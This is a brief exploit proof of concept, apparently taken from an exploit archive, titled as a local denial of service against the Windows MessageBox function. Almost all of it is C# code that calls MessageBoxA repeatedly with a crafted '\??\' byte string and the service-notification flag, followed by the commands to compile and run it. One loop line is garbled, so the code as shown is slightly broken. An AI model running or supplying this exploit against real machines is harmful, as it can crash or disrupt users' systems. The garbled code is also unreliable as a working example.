MS Windows (MessageBox) Memory Corruption Local Denial of Service

// mbox.cs
     using System;
     using System.Runtime.InteropServices;
     class HelloWorldFromMicrosoft
     {
     [DllImport("user32.dll")]
     unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType); static unsafe void Main()
     {
     byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
     uint MB_SERVICE_NOTIFICATION = 0x00200000u;
     fixed(byte* pHelloBug = &helloBug[0])
     {
     for(int i=0; i<10; i )
     MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
     }
     }
     }
     // >> csc /unsafe mbox.cs
     // >> mbox.exe//http://www.leftworld.net